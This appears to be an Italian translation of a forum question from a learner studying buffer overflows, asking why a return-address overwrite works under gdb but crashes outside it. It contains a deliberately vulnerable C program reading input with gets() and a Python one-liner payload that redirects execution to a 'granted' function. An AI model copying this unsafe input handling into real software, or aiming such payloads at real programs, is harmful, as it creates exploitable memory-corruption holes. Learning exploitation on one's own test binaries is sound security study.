tl; dr: Perché il mio exploit funziona solo all'interno di gdb.
Sono molto nuovo nel buffer overflow e sfrutta i campi di sviluppo. Per migliorare le mie capacità basate su una serie di articoli e video ho scritto questo semplice software C:
Nota: ho disabilitato ASLR
Credo che la mia domanda sia diversa da questa: L'exploit di overflow del buffer funziona con gdb ma non senza perché l'autore sembra avere ASRL abilitato.
#include <stdio.h>
#include <string.h>
void granted()
{
printf ("\nAccess granted\n");
return;
}
int main()
{
char password[104];
printf ("Enter your password: ");
gets(password);
if (strcmp(password,"p@$$w0rd"))
{
printf("\nFailed!!");
}
else
{
granted();
}
}
Per quanto ne so c'è un piccolo bug: è possibile inserire più di 103 caratteri.
I miei primi obiettivi di exploit erano di reindirizzare il flusso di esecuzione alla funzione concessa.
Per generare l'exploit, ho usato il seguente comando python -c 'print "A"*100+"\x9b\x84\x04\x08"+"BBBB"' > payload-access-granted
me@computer:~$ gdb bof3.bin
(gdb) r < payload-access-granted
Starting program: /home/me/bof3.bin < payload-access-granted
Enter your password:
Failed!!
Access granted
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
Come puoi vedere il payload ha fatto ciò che era previsto: saltato alla funzione concessa. Lo sfruttamento sta funzionando ... ma
Al di fuori di gdb:
me@computer:~$ ./bof3.bin < payload-access-granted
Enter your password:
Segmentation fault (core dumped)
Quindi, perché si verifica? Cosa non ho fatto correttamente?